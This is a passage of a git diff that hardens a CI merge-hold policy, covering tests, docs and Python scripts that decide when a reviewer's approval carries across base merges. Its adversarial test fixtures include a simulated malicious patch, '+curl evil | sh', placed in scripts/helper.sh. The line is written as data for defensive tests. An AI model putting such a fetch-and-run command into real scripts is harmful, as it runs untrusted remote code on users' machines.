SHARED_AT_OLD.filename, status: "modified", patch: "@@ -10,6 +10,11 @@ import\n+theirs" }; +const REPLAY = { compares: { [OLD]: atOld([HELD_PATCH, SHARED_AT_OLD]), [HEAD]: merged([HELD_PATCH, SHARED_AT_HEAD]) }, across: ranges(brought([BASE_DOC, SHARED_BASE]), baseRange([SHARED_BASE, BASE_DOC])) }; +test("#10224's shape carries when the merges brought exactly the base's changes", async () => { + for (const [name, options] of Object.entries({ + "an approval standing at the earlier head": REPLAY, + "an approval GitHub dismissed as stale": { ...REPLAY, reviews: [DISMISSED_OLD], timeline: [STALE] }, + })) { + const world = liftWorld(options); + const run = await lifting(world); + assert.equal(run.code, 0, `${name}: ${run.out}`); + assert.match(run.out, /which lifts its hold path/, name); + assert.ok(world.reads.includes(`/repos/owner/repo/compare/${OLD}...${HEAD}`) && world.reads.includes(`/repos/owner/repo/compare/${MB_OLD}...${MB_HEAD}`), world.reads.join(" ")); + } + // The same net change needs neither range compare. + const world = liftWorld(); + assert.equal((await lifting(world)).code, 0); + assert.ok(!world.reads.some((path) => path.includes(`/compare/${OLD}...`) || path.includes(`/compare/${MB_OLD}...`)), world.reads.join(" ")); +}); + +test("a merge that adds anything beyond the base's changes, or a range not read whole, carries nothing", async () => { + const shape = (merges, based = baseRange([BASE_DOC, SHARED_BASE]), more = {}) => ({ ...REPLAY, across: ranges(merges, based), ...more }); + const many = Array.from({ length: 300 }, (_, i) => ({ filename: `docs/${i}.md`, status: "modified", patch: "+x" })); + for (const [name, options] of Object.entries({ + "a merge that also edits a hold path": shape(brought([BASE_DOC, SHARED_BASE, { ...HELD_PATCH, patch: "@@ -1 +1 @@\n-b\n+evil" }])), + "a merge that also edits a non-hold file": shape(brought([BASE_DOC, SHARED_BASE, HELPER])), + "a merge that changes the base's hunk": shape(brought([BASE_DOC, { ...SHARED_BASE, patch: "@@ -10,6 +10,11 @@ import\n+theirs\n+evil" }])), + "a merge that renames a base file": shape(brought([{ ...BASE_DOC, status: "renamed", previous_filename: "docs/old.md" }, SHARED_BASE])), + "a base change reverted inside the merge": shape(brought([SHARED_BASE])), + "a base that changed a file the merges did not bring": shape(brought(), baseRange([BASE_DOC, SHARED_BASE, HELPER])), + "a merge whose second parent the base does not hold": shape(brought([BASE_DOC, SHARED_BASE]), undefined, { + compares: { [OLD]: atOld([HELD_PATCH, SHARED_AT_OLD]), [HEAD]: { ...merged([HELD_PATCH, SHARED_AT_HEAD]), commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: OTHER, parents: [{ sha: MAIN }, { sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: OTHER }] }], total_commits: 3 } }, + }), + "a non-merge commit beside the merge": shape(brought([BASE_DOC, SHARED_BASE]), undefined, { + compares: { [OLD]: atOld([HELD_PATCH, SHARED_AT_OLD]), [HEAD]: { ...merged([HELD_PATCH, SHARED_AT_HEAD]), commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: OTHER, parents: [{ sha: OLD }, { sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OTHER }] }], total_commits: 3 } }, + }), + "300 files brought": shape(brought(many), baseRange(many)), + "300 files in the base's range": shape(brought([BASE_DOC, SHARED_BASE]), baseRange(many)), + "a brought file with no patch": shape(brought([BASE_DOC, { ...SHARED_BASE, patch: undefined }]), baseRange([BASE_DOC, { ...SHARED_BASE, patch: undefined }])), + "a brought commit list cut short": shape(brought([BASE_DOC, SHARED_BASE], { total_commits: 251 })), + "a base range commit list cut short": shape(brought([BASE_DOC, SHARED_BASE]), baseRange([BASE_DOC, SHARED_BASE], { total_commits: 251 })), + "a head range that is not ahead": shape(brought([BASE_DOC, SHARED_BASE], { status: "diverged", behind_by: 1 })), + "a base range that goes backwards": shape(brought([BASE_DOC, SHARED_BASE]), baseRange([BASE_DOC, SHARED_BASE], { status: "behind", behind_by: 1 })), + "no merge base on the approved head's compare": { ...REPLAY, compares: { [OLD]: { ...atOld([HELD_PATCH, SHARED_AT_OLD]), merge_base_commit: null }, [HEAD]: merged([HELD_PATCH, SHARED_AT_HEAD]) } }, + "an unreadable range compare": { ...REPLAY, fail: `/compare/${OLD}...` }, + "a dismissal with a message": { ...REPLAY, reviews: [DISMISSED_OLD], timeline: [stale({ dismissal_message: "stale" })] }, + })) { + const run = await lifting(liftWorld(options)); + assert.equal(run.code, 1, `${name}: ${run.out}`); + assert.match(run.out, HOLD_REASON, name); + } +}); + test("no adversarial history, approval or reviewer carries a lift to the head", async () => { const cases = { - "a merge that also edits a hold path (an evil merge)": { compares: { [OLD]: atOld(), [HEAD]: merged([{ ...HELD_PATCH, patch: "@@ -1 +1 @@\n-a\n+evil" }]) } }, - "a merge that adds a hold path": { compares: { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH, OTHER_HELD]) } }, + // Each merge that writes a change of its own lists it in what the merges + // brought (OLD...HEAD) too, beside the base's own change. + "a merge that also edits a hold path (an evil merge)": { + compares: { [OLD]: atOld(), [HEAD]: merged([{ ...HELD_PATCH, patch: "@@ -1 +1 @@\n-a\n+evil" }]) }, + across: ranges(brought([BASE_DOC, { ...HELD_PATCH, patch: "@@ -1 +1 @@\n-b\n+evil" }])), + }, + "a merge that adds a hold path": { compares: { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH, OTHER_HELD]) }, across: ranges(brought([BASE_DOC, OTHER_HELD])) }, // The re-review of #10596: a merge that rewrites a non-hold file the // approved head already changed, or adds one, writes a change of its own. "a merge that rewrites scripts/helper.sh, which the approved head changed": { compares: { [OLD]: atOld([HELD_PATCH, HELPER]), [HEAD]: merged([HELD_PATCH, { ...HELPER, patch: "@@ -1 +1 @@\n-x\n+curl evil | sh" }]) }, + across: ranges(brought([BASE_DOC, { ...HELPER, patch: "@@ -1 +1 @@\n-y\n+curl evil | sh" }])), }, "a merge that adds a file the base touched, with content of its own": { compares: { [OLD]: atOld(), [HEAD]: merged([HELD_PATCH, { filename: "scripts/lib.mjs", status: "modified", patch: "@@ -1 +1 @@\n-base\n+evil" }]) }, + across: ranges(brought([BASE_DOC, { filename: "scripts/lib.mjs", status: "modified", patch: "@@ -1 +1 @@\n-base\n+evil" }]), baseRange([BASE_DOC, { filename: "scripts/lib.mjs", status: "modified", patch: "@@ -1 +1 @@\n-lib\n+base" }])), + }, + // The base took in the same change to one of the approved head's files, + // so the merges brought less than the base changed: it fails closed. + "a merge after which the base holds one of the approved head's files": { + compares: { [OLD]: atOld([HELD_PATCH, OTHER_HELD]), [HEAD]: merged([HELD_PATCH]) }, + across: ranges(brought(), baseRange([BASE_DOC, OTHER_HELD])), }, - // #10224's shape: the base took in one hold-path file's change, so the - // net change differs; it fails closed and needs a new approval. - "a merge after which the base holds one of the approved head's files": { compares: { [OLD]: atOld([HELD_PATCH, OTHER_HELD]), [HEAD]: merged([HELD_PATCH]) } }, "a non-merge commit after the approval": { compares: { [OLD]: atOld(), [HEAD]: { files: [HELD_PATCH], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }] }], total_commits: 2 } } }, "a merge of a branch other than the base": { compares: { [OLD]: atOld(), [HEAD]: { files: [HELD_PATCH], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: OTHER, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: OTHER }] }], total_commits: 3 } }, @@ -1088,7 +1241,7 @@ test("no adversarial history, approval or reviewer carries a lift to the head", "a compare that lists fewer files than the pull request changes": { changed: 2 }, "a base branch that does not resolve to a commit": { tip: "main" }, "an unreadable base ref": { fail: "/git/ref/" }, - // A dismissed approval never counts, whoever or whatever dismissed it. + // A dismissed approval with no stale-dismissal event never counts. "an approval later dismissed": { reviews: [review("DISMISSED", OLD)] }, "an approval followed by a request for changes on another head": { reviews: [review("APPROVED", OLD), review("CHANGES_REQUESTED", "8".repeat(40), "2026-10-27T23:40:00Z")] }, "an approval by a person off the trusted-actor list": { reviews: [review("APPROVED", OLD, APPROVED_AT, 77)] }, @@ -1116,6 +1269,41 @@ test("an approval carried over a base merge lifts no verifier hold, and an exact assert.deepEqual(world.reads, []); }); +// The independent security review of #10671: the compare API reports no +// file mode, so the exact path reads the head's and its merge base's trees and +// requires each brought file's mode to be the base's; and the carry runs only +// on a base that is the repository's default branch. +test("the exact carry reads file modes from the trees, and a non-default base carries nothing", async () => { + const flipped = FILES_AT.map(([path]) => [path, path === "docs/base.md" ? "100755" : "100644"]); + const heldFlip = FILES_AT.map(([path]) => [path, path === SHARED_AT_OLD.filename ? "100755" : "100644"]); + for (const [name, options] of Object.entries({ + "a merge that also flips a base file's mode": { ...REPLAY, modes: trees(treeOf(flipped)) }, + "a merge that flips the mode of a file both sides changed": { ...REPLAY, modes: trees(treeOf(heldFlip)) }, + "a brought file missing from the head's tree": { ...REPLAY, modes: trees(treeOf(FILES_AT.filter(([path]) => path !== "docs/base.md"))) }, + "a brought file missing from both trees": { ...REPLAY, modes: trees(treeOf(FILES_AT.filter(([path]) => path !== "docs/base.md")), treeOf(FILES_AT.filter(([path]) => path !== "docs/base.md"))) }, + "a brought file missing from the base's tree": { ...REPLAY, modes: trees(undefined, treeOf(FILES_AT.filter(([path]) => path !== "docs/base.md"))) }, + "a truncated head tree": { ...REPLAY, modes: trees(treeOf(FILES_AT, { truncated: true })) }, + "a base tree with no truncated flag": { ...REPLAY, modes: trees(undefined, { tree: treeOf(FILES_AT).tree }) }, + "an unreadable tree": { ...REPLAY, fail: "/git/trees/" }, + "an exact carry into a base that is not the default branch": { ...REPLAY, base: "release" }, + "a same-net-change carry into a base that is not the default branch": { base: "release" }, + "an unreadable repository": { defaultBranch: null }, + })) { + const run = await lifting(liftWorld(options)); + assert.equal(run.code, 1, `${name}: ${run.out}`); + assert.match(run.out, HOLD_REASON, name); + } + // A removed base file is absent from both trees, and that carries. + const removed = { filename: "docs/gone.md", status: "removed", patch: "@@ -1 +0,0 @@\n-x" }; + const world = liftWorld({ ...REPLAY, across: ranges(brought([BASE_DOC, SHARED_BASE, removed]), baseRange([BASE_DOC, SHARED_BASE, removed])) }); + const run = await lifting(world); + assert.equal(run.code, 0, run.out); + assert.ok(world.reads.includes(`/repos/owner/repo/git/trees/${HEAD}?recursive=1`) && world.reads.includes(`/repos/owner/repo/git/trees/${MB_HEAD}?recursive=1`), world.reads.join(" ")); + // An approval of the head itself needs no default-branch read. + const exact = liftWorld({ base: "release", reviews: [review("APPROVED", HEAD)] }); + assert.equal((await lifting(exact, { reviews: [] })).code, 0); +}); + test("baseMergesOnly and baseMergeCarry read their inputs strictly", () => { const then = { commits: [{ sha: OLD, parents: [{ sha: MAIN }] }], total_commits: 1 }; const inBase = new Set([MAIN]); @@ -1130,3 +1318,48 @@ test("baseMergesOnly and baseMergeCarry read their inputs strictly", () => { assert.equal(baseMergeCarry(atOld([HELD_PATCH]), merged([HELD_PATCH, HELPER]), OLD, [MAIN]), false); assert.equal(baseMergeCarry(atOld([HELD_PATCH]), merged([HELD_PATCH]), OLD, []), false); }); + +test("exactBaseCarry, approvalCarry and autoDismissed read their inputs strictly", () => { + const { approvalCarry, autoDismissed, exactBaseCarry } = holdsModule; + // Both directions: the base's files equal what the merges brought, and + // each brought file has the base's mode in the head's tree. + const same = [treeOf(FILES_AT), treeOf(FILES_AT)]; + assert.equal(exactBaseCarry(brought([BASE_DOC, SHARED_BASE]), baseRange([SHARED_BASE, BASE_DOC]), same), true); + assert.equal(exactBaseCarry(brought([BASE_DOC, SHARED_BASE]), baseRange([SHARED_BASE, BASE_DOC])), false); + assert.equal(exactBaseCarry(brought([BASE_DOC]), baseRange([BASE_DOC, SHARED_BASE]), same), false); + assert.equal(exactBaseCarry(brought([BASE_DOC, SHARED_BASE]), baseRange([BASE_DOC]), same), false); + // A base that did not move: nothing brought, nothing changed. + assert.equal(exactBaseCarry(brought([]), { status: "identical", behind_by: 0, files: [], commits: [], total_commits: 0 }, same), true); + assert.equal(exactBaseCarry(brought(), null, same), false); + assert.equal(exactBaseCarry(brought(undefined, { behind_by: undefined }), baseRange(), same), false); + assert.equal(exactBaseCarry(brought(undefined, { commits: undefined }), baseRange(), same), false); + // The compare API reports no file mode, so a merge that also flips a base + // file's mode lists as the base's changes alone; the trees show it. + assert.equal(exactBaseCarry(brought([BASE_DOC]), baseRange([BASE_DOC]), [treeOf([["docs/base.md", "100755"]]), treeOf([["docs/base.md"]])]), false); + assert.equal(exactBaseCarry(brought([BASE_DOC]), baseRange([BASE_DOC]), [treeOf([["docs/base.md"]], { truncated: true }), treeOf([["docs/base.md"]])]), false); + // A file the base removed is in neither tree. + const gone = { filename: "docs/gone.md", status: "removed", patch: "-x" }; + assert.equal(exactBaseCarry(brought([gone]), baseRange([gone]), same), true); + assert.equal(exactBaseCarry(brought([gone]), baseRange([gone]), [treeOf([["docs/gone.md"]]), treeOf([])]), false); + // A renamed file's old path is in neither tree. + const moved = { ...BASE_DOC, status: "renamed", previous_filename: "docs/old.md" }; + assert.equal(exactBaseCarry(brought([moved]), baseRange([moved]), same), true); + assert.equal(exactBaseCarry(brought([moved]), baseRange([moved]), [treeOf([...FILES_AT, ["docs/old.md"]]), treeOf(FILES_AT)]), false); + const [then, now] = [atOld([HELD_PATCH, SHARED_AT_OLD]), merged([HELD_PATCH, SHARED_AT_HEAD])]; + const [merges, based] = [brought([BASE_DOC, SHARED_BASE]), baseRange([BASE_DOC, SHARED_BASE])]; + const modes = [treeOf(FILES_AT), treeOf(FILES_AT)]; + assert.equal(approvalCarry(then, now, OLD, [MAIN], merges, based, null, modes), true); + assert.equal(approvalCarry(then, now, OLD, [], merges, based, null, modes), false); + assert.equal(approvalCarry(then, now, OLD, [MAIN], null, null, null, modes), false); + // The exact path needs both trees; the same net change needs neither. + assert.equal(approvalCarry(then, now, OLD, [MAIN], merges, based), false); + assert.equal(approvalCarry(atOld(), merged([HELD_PATCH]), OLD, [MAIN], null, null), true); + // A restored approval carries only when its dismissal commit is one the + // merges pushed since the approved head. + assert.equal(approvalCarry(then, now, OLD, [MAIN], merges, based, HEAD, modes), true); + assert.equal(approvalCarry(then, now, OLD, [MAIN], merges, based, OLD, modes), false); + assert.equal(approvalCarry(then, now, OLD, [MAIN], merges, based, OTHER, modes), false); + assert.deepEqual([...autoDismissed([STALE, { event: "reviewed" }, null])], [["41", HEAD]]); + assert.deepEqual([...autoDismissed([STALE, stale({ dismissal_message: "x" })])], []); + assert.deepEqual([...autoDismissed("not a list")], []); +}); diff --git a/docs/conventions/pr-pipeline/README.md b/docs/conventions/pr-pipeline/README.md index 3aed60d40c..5338992282 100644 --- a/docs/conventions/pr-pipeline/README.md +++ b/docs/conventions/pr-pipeline/README.md @@ -1486,24 +1486,41 @@ request event and in the merge queue, where a red group removes the pull request adds a hold path or such a widening fails `ci-status` on its own head. A person on the trusted-actor list (as main has it) lifts either by approving that head (their newest review of it that approves, requests changes or was dismissed must approve). Then re-run `ci-status`, since a review does not. -Only an approving review lifts it: removing the human-gated label does not, and a dismissed -approval never counts. The approval carries to a later head whose every change since is a merge -of the base (`merge-holds.mjs` `liftersOf` and `baseMergeCarry`), so a base merge after a -person's approval does not send the pull request back to them: +Only an approving review lifts it: removing the human-gated label does not. The approval carries +to a later head whose every change since is a merge of the base (`merge-holds.mjs` `liftersOf` +and `approvalCarry`), so a base merge after a person's approval does not send the pull request +back to them: - Each trusted person's newest review that approves, requests changes or was dismissed counts - (`liftsOf`); it lifts only when it approves, and then its commit. -- The carry (`baseMergeCarry`): the base branch is read once by its full ref (`baseTip`, - `refs/heads/`), and every compare names its tip commit, so no tag of the same name stands - in for it. Every commit the current head adds is a merge whose parents other than the first the - base holds (`baseMergesOnly` over `mergedParents`; `baseParents` reads each parent's compare - against the tip, `ahead` or `identical`), and the approved head is among its commits, so a - non-merge commit, a merge of another branch or of a crafted merge commit, or a force push that - rewrites the approved head carries nothing. The net change against the tip is the same at both - heads over every file (`sameNetChange`), so a merge that writes any change of its own, to a hold - path or any other file, carries nothing; an honest merge after the base changed one of the - pull request's files fails closed too and needs a new approval. A commit list the compare cuts - at 250 carries nothing, and so does a head in a fork. + (`liftsOf`); it lifts only when it approves, and then its commit. An approval GitHub dismissed + as stale on a push (the trust-root ruleset's `dismiss_stale_reviews_on_push`) still counts, + bound to its own commit and only through the carry (`autoDismissed`): the issue timeline's one + `review_dismissed` event for that review has a Bot actor (the account whose push dismissed it), + a null message and a dismissal commit among those pushed since the approved head. A dismissal + whose actor is a person revokes the approval: their own dismissal, or the stale dismissal their + push caused. The Bot actor is what tells GitHub's dismissal from a person's; that an App's + deliberate dismissal always carries a message is unverified, so the null message is a second + filter. +- The carry (`approvalCarry`) runs only when the pull request's base is the repository's default + branch, since another base may be non-linear, with criss-cross merge bases. The base branch is + read once by its full ref (`baseTip`, `refs/heads/`), and every compare against it names + its tip commit, so no tag of the same name stands in for it. Every commit the current head adds + is a merge whose parents other than the first the base holds (`baseMergesOnly` over + `mergedParents`; `baseParents` reads each parent's compare against the tip, `ahead` or + `identical`), and the approved head is among its commits, so a non-merge commit, a merge of + another branch or of a crafted merge commit, or a force push that rewrites the approved head + carries nothing. Then either the net change against the tip is the same at both heads over + every file (`sameNetChange`), or the merges brought exactly the base's changes + (`exactBaseCarry`): the compare from the approved head H to the current head H' lists, file for + file and with the same status, `previous_filename` and patch, what the compare between the merge + bases of H and of H' (M and M') with the tip lists, and the recursive trees of H' and M' give + each of those files one mode (a removed file, or a renamed file's old path, in neither). A merge + that writes any change of its own, to a hold path or any other file, flips the mode of a file the + base changed, or drops a base change, carries nothing. Either compare listing 300 files or more, + a commit list not read whole, a file with no patch, a truncated tree, or a head in a fork carries + nothing. The exact path assumes GitHub omits no file from a compare's list of fewer than 300 + files; nothing checks that against a second listing. The compare API reports no file mode, so a + mode-only change still reads the same on the same-net-change path: a known residual there. - An approval of the current head lifts the verifier and issue-link holds too; an approval of an earlier head does not, since the merge result is new to pr-verify. diff --git a/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py b/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py index 997d53e170..1451916036 100755 --- a/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py +++ b/plugins/source-control/skills/babysit-prs/scripts/babysit_merge_policy.py @@ -2540,23 +2540,22 @@ def net(compare: Any) -> dict[str, tuple[Any, Any, str]] | None: return then is not None and now is not None and then == now -def _new_commits(then: Any, now: Any) -> list[Any] | None: - """The commits a compare answer `now` (base...H') lists beyond `then` - (base...H), or None when either list is not read whole (shorter than - total_commits, the compare API's 250) (merge-holds.mjs `newCommits`).""" +def _listed_commits(compare: Any) -> list[Any] | None: + """A compare answer's commits, or None when the list is not read whole + (shorter than total_commits, the compare API's 250) (merge-holds.mjs + `listedCommits`).""" + compare = json_object(compare) + commits, total = compare.get("commits"), compare.get("total_commits") + if not is_json_array(commits) or type(total) is not int or total != len(commits): + return None + return commits - def listed(compare: Any) -> list[Any] | None: - compare = json_object(compare) - commits, total = compare.get("commits"), compare.get("total_commits") - if ( - not is_json_array(commits) - or type(total) is not int - or total != len(commits) - ): - return None - return commits - before, after = listed(then), listed(now) +def _new_commits(then: Any, now: Any) -> list[Any] | None: + """The commits a compare answer `now` (base...H') lists beyond `then` + (base...H), or None when either list is not read whole (merge-holds.mjs + `newCommits`).""" + before, after = _listed_commits(then), _listed_commits(now) if before is None or after is None: return None old = {json_object(c).get("sha") for c in before} @@ -2624,6 +2623,154 @@ def base_merge_carry( return base_merges_only(then, now, start, in_base) and same_net_change(then, now) +def exact_base_carry(merges: Any, based: Any, trees: Any = None) -> bool: + """Whether the merges brought exactly the base's changes (the owner's + decision of 2026-10-28, part b; merge-holds.mjs `exactBaseCarry`): + `merges` is the compare H...H', what the merges brought into the approved + head, and `based` the compare M...M' between the merge bases of H and of + H' with the base's tip. H' must be ahead of H and M' of (or at) M, each + commit list read whole, and the two file lists the same file for file + (`same_net_change`). A file the merges changed beyond the base, or a base + change they dropped, carries nothing. This assumes GitHub omits no file + from a compare's list of fewer than 300 files; nothing here reads a + second listing to check that. The compare API reports no file mode, so + `trees` ([H' tree, M' tree], recursive git/trees answers) decide it + (`_same_modes`).""" + + def forward(compare: Any, statuses: tuple[str, ...]) -> bool: + compare = json_object(compare) + behind = compare.get("behind_by") + return ( + compare.get("status") in statuses + and type(behind) is int + and behind == 0 + and _listed_commits(compare) is not None + ) + + return ( + forward(merges, ("ahead",)) + and forward(based, ("ahead", "identical")) + and same_net_change(merges, based) + and _same_modes(merges, trees) + ) + + +def _same_modes(merges: Any, trees: Any) -> bool: + """Whether each file the compare `merges` lists has one mode at both + trees of `trees` (two recursive git/trees answers, read whole: `truncated` + false): present in both at one mode, or, for a removed file and a renamed + file's old path, in neither (merge-holds.mjs `sameModes`).""" + + def modes(tree: Any) -> dict[str, str] | None: + tree = json_object(tree) + entries = tree.get("tree") + if tree.get("truncated") is not False or not is_json_array(entries): + return None + found: dict[str, str] = {} + for entry in entries: + entry = json_object(entry) + path, mode = entry.get("path"), entry.get("mode") + if isinstance(path, str) and isinstance(mode, str) and entry.get("type") != "tree": + found[path] = mode + return found + + if not is_json_array(trees) or len(trees) != 2: + return False + head, base = modes(trees[0]), modes(trees[1]) + if head is None or base is None: + return False + for f in json_object(merges).get("files") or (): + f = json_object(f) + name, status, previous = f.get("filename"), f.get("status"), f.get("previous_filename") + gone = ([name] if status == "removed" else []) + ( + [previous] if isinstance(previous, str) else [] + ) + kept = [] if status == "removed" else [name] + if any(p in head or p in base for p in gone): + return False + if any(p not in head or head[p] != base.get(p) for p in kept): + return False + return True + + +def approval_carry( + then: Any, + now: Any, + start: str, + in_base: Collection[str], + merges: Any, + based: Any, + dismissal: str | None = None, + trees: Any = None, +) -> bool: + """Whether an approval of `start` carries to the head `now` was read at + (merge-holds.mjs `approvalCarry`): every commit since is a merge of the + base (`base_merges_only`), and the net change is the same + (`same_net_change`) or the merges brought exactly the base's changes + (`exact_base_carry` over `merges`, `based` and `trees`, None when not + read). An approval GitHub dismissed as stale (`auto_dismissed`) passes + its `dismissal` commit, which must be one of the commits pushed since + `start`.""" + if not base_merges_only(then, now, start, in_base): + return False + if dismissal is not None and not any( + json_object(c).get("sha") == dismissal for c in _new_commits(then, now) or () + ): + return False + return same_net_change(then, now) or exact_base_carry(merges, based, trees) + + +def _review_key(value: Any) -> str | None: + """A review id as text, from a string or a safe integer (as JSON may + give either), else None (merge-holds.mjs `reviewKey`).""" + if isinstance(value, str): + return value + if isinstance(value, float) and value.is_integer(): + value = int(value) + if isinstance(value, int) and not isinstance(value, bool) and abs(value) < 2**53: + return str(value) + return None + + +def auto_dismissed(events: Any) -> dict[str, str]: + """The reviews GitHub dismissed as stale, from the pull request's issue + timeline `events`, as review id (a string) to dismissal commit + (merge-holds.mjs `autoDismissed`): a review_dismissed event of an + approval with a null message, by a Bot (the account whose push dismissed + it), naming a commit SHA. A dismissal whose actor is a User revokes: a + person's own dismissal, or the stale dismissal a person's push caused. + That a Bot's deliberate dismissal always carries a message is UNVERIFIED, + so the null message is a second filter, not the one that tells GitHub's + dismissal from an App's. A review with any other dismissal event is left + out.""" + found: dict[str, str] = {} + revoked: set[str] = set() + for event in events if is_json_array(events) else (): + event = json_object(event) + if event.get("event") != "review_dismissed": + continue + d = json_object(event.get("dismissed_review")) + key = _review_key(d.get("review_id")) + if key is None: + continue + commit = d.get("dismissal_commit_id") + stale = ( + d.get("state") == "approved" + and "dismissal_message" in d + and d["dismissal_message"] is None + and json_object(event.get("actor")).get("type") == "Bot" + and isinstance(commit, str) + and re.fullmatch(r"[0-9a-f]{40}", commit) is not None + ) + if stale and key not in found: + found[key] = commit + else: + revoked.add(key) + for key in revoked: + found.pop(key, None) + return found + + def base_parents(compare: Callable[[str], Any], tip: str, then: Any, now: Any) -> set[str]: """The merged parents (`merged_parents`) the base holds, through `compare` (a GET of compare/ that raises PolicyReadError when @@ -2648,11 +2795,19 @@ def base_tip(owner: str, name: str, base: str) -> str: return sha -def lifts_of(reviews: Sequence[Any], humans: Collection[int]) -> list[tuple[str, str]]: - """Each trusted person's standing approval, as (login, sha): their newest - REST review that approves, requests changes or was dismissed, when it - approves a commit (merge-holds.mjs `liftsOf`). A dismissed approval never - counts.""" +def lifts_of( + reviews: Sequence[Any], + humans: Collection[int], + dismissed: Mapping[str, str] | None = None, +) -> list[tuple[str, str, str | None]]: + """Each trusted person's standing approval, as (login, sha, dismissal): + their newest REST review that approves, requests changes or was + dismissed, when it approves a commit, with dismissal None; or when it is + an approval GitHub dismissed as stale (`dismissed`, `auto_dismissed`'s + map), with its dismissal commit, which lifts only through the carry + (merge-holds.mjs `liftsOf`). Any other dismissed approval does not + count.""" + dismissed = dismissed or {} newest: dict[int, tuple[datetime, dict[str, Any]]] = {} for row in reviews: row = json_object(row) @@ -2666,11 +2821,19 @@ def lifts_of(reviews: Sequence[Any], humans: Collection[int]) -> list[tuple[str, made = parse_timestamp(row.get("created_at") if at is None else at) if made is not None and (uid not in newest or made >= newest[uid][0]): newest[uid] = (made, row) - lifts = [] + lifts: list[tuple[str, str, str | None]] = [] for _, row in newest.values(): - sha = str(row.get("commit_id") or "") - if row.get("state") == "APPROVED" and re.fullmatch(r"[0-9a-f]{40}", sha): - lifts.append((str(json_object(row.get("user")).get("login") or ""), sha)) + sha = row.get("commit_id") + review = row.get("id") + key = _review_key(review) + restored = ( + dismissed.get(key) if row.get("state") == "DISMISSED" and key else None + ) + if not isinstance(sha, str) or not re.fullmatch(r"[0-9a-f]{40}", sha): + continue + if row.get("state") == "APPROVED" or restored is not None: + login = str(json_object(row.get("user")).get("login") or "") + lifts.append((login, sha, restored)) return lifts @@ -2682,9 +2845,15 @@ def carried_lifters( ) -> list[str]: """The trusted people whose approval (`lifts_of` over the REST `reviews`) is of the pull request's head or carries to it over merges of its base - branch (`base_merge_carry` against the base's tip, `base_tip`, with - `base_parents`), sorted (merge-holds.mjs `liftersOf`). A fork head or a - read that fails lifts nothing.""" + branch (`approval_carry` against the base's tip, `base_tip`, with + `base_parents`), sorted (merge-holds.mjs `liftersOf`). An approval GitHub + dismissed as stale (`auto_dismissed`, from the issue timeline, read only + when a trusted person's review was dismissed; a timeline that does not + read restores none) counts only through the carry, which runs only into + the repository's default branch. When the net change differs, the + compares H...H' and between the two merge bases, and the trees of H' and + M', decide (`exact_base_carry`). A fork head, at the call or on the + re-read, or a read that fails lifts nothing.""" head = json_object(pr.get("head")) if json_object(head.get("repo")).get("full_name") != repo: return [] @@ -2703,26 +2872,74 @@ def compare(spec: str) -> Any: compares[spec] = answer return compares[spec] - lifts = lifts_of(reviews, humans) + def tree(commit: str) -> Any: + status, answer = _get(f"repos/{owner}/{name}/git/trees/{commit}?recursive=1") + if status != 200: + raise PolicyReadError(f"the tree of {commit} is unreadable") + return answer + + dismissed: dict[str, str] = {} + if any( + json_object(json_object(r).get("user")).get("type") == "User" + and json_object(json_object(r).get("user")).get("id") in humans + and json_object(r).get("state") == "DISMISSED" + for r in reviews + ): + try: + dismissed = auto_dismissed( + _paginated( + f"repos/{owner}/{name}/issues/{pr.get('number')}/timeline?per_page=100", + f"#{pr.get('number')} timeline", + ) + ) + except PolicyReadError: + dismissed = {} + lifts = lifts_of(reviews, humans, dismissed) lifters: set[str] = set() try: # The head judged must still be the head, as merge-holds.mjs # liftersOf re-reads it; its file count bounds the compare's. status, now_pr = _get(f"repos/{owner}/{name}/pulls/{pr.get('number')}") now_head = json_object(json_object(now_pr).get("head")) - if status != 200 or now_head.get("sha") != sha: + if ( + status != 200 + or now_head.get("sha") != sha + or json_object(now_head.get("repo")).get("full_name") != repo + ): return [] changed = json_object(now_pr).get("changed_files") - tip = base_tip(owner, name, base) if any(s != sha for _, s in lifts) else "" - for login, lifted in lifts: + # A carry runs only into the repository's default branch: another + # base may be non-linear, with criss-cross merge bases. + carrying = any(s != sha for _, s, _ in lifts) and _default_branch(repo) == base + tip = base_tip(owner, name, base) if carrying else "" + for login, lifted, dismissal in lifts: if lifted == sha: - lifters.add(login) + if dismissal is None: + lifters.add(login) + continue + if not carrying: continue then, now = compare(f"{tip}...{lifted}"), compare(f"{tip}...{sha}") files = json_object(now).get("files") if not is_json_array(files) or type(changed) is not int or len(files) != changed: continue - if base_merge_carry(then, now, lifted, base_parents(compare, tip, then, now)): + in_base = base_parents(compare, tip, then, now) + merges = based = trees = None + start, end = ( + json_object(json_object(c).get("merge_base_commit")).get("sha") + for c in (then, now) + ) + if ( + base_merges_only(then, now, lifted, in_base) + and not same_net_change(then, now) + and all( + isinstance(x, str) and re.fullmatch(r"[0-9a-f]{40}", x) + for x in (start, end) + ) + ): + merges, based = compare(f"{lifted}...{sha}"), compare(f"{start}...{end}") + trees = [tree(sha), tree(end)] + if approval_carry(then, now, lifted, in_base, merges, based, dismissal, trees): lifters.add(login) except PolicyReadError: return [] diff --git a/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py b/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py index 348c2eaa5c..dcd7a666b1 100755 --- a/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py +++ b/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py @@ -2255,8 +2255,8 @@ def lane_risk_refusal( f"{repo}#{number} reviews", ) trusted = humans() - # An approval of an earlier head carries over base merges that - # leave its net change the same. + # An approval of an earlier head carries over merges that bring + # only the base's changes. lifted = bool(merge_policy.path_lifters(reviews, trusted, head)) or bool( merge_policy.carried_lifters(repo, pr, reviews, trusted) ) diff --git a/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py 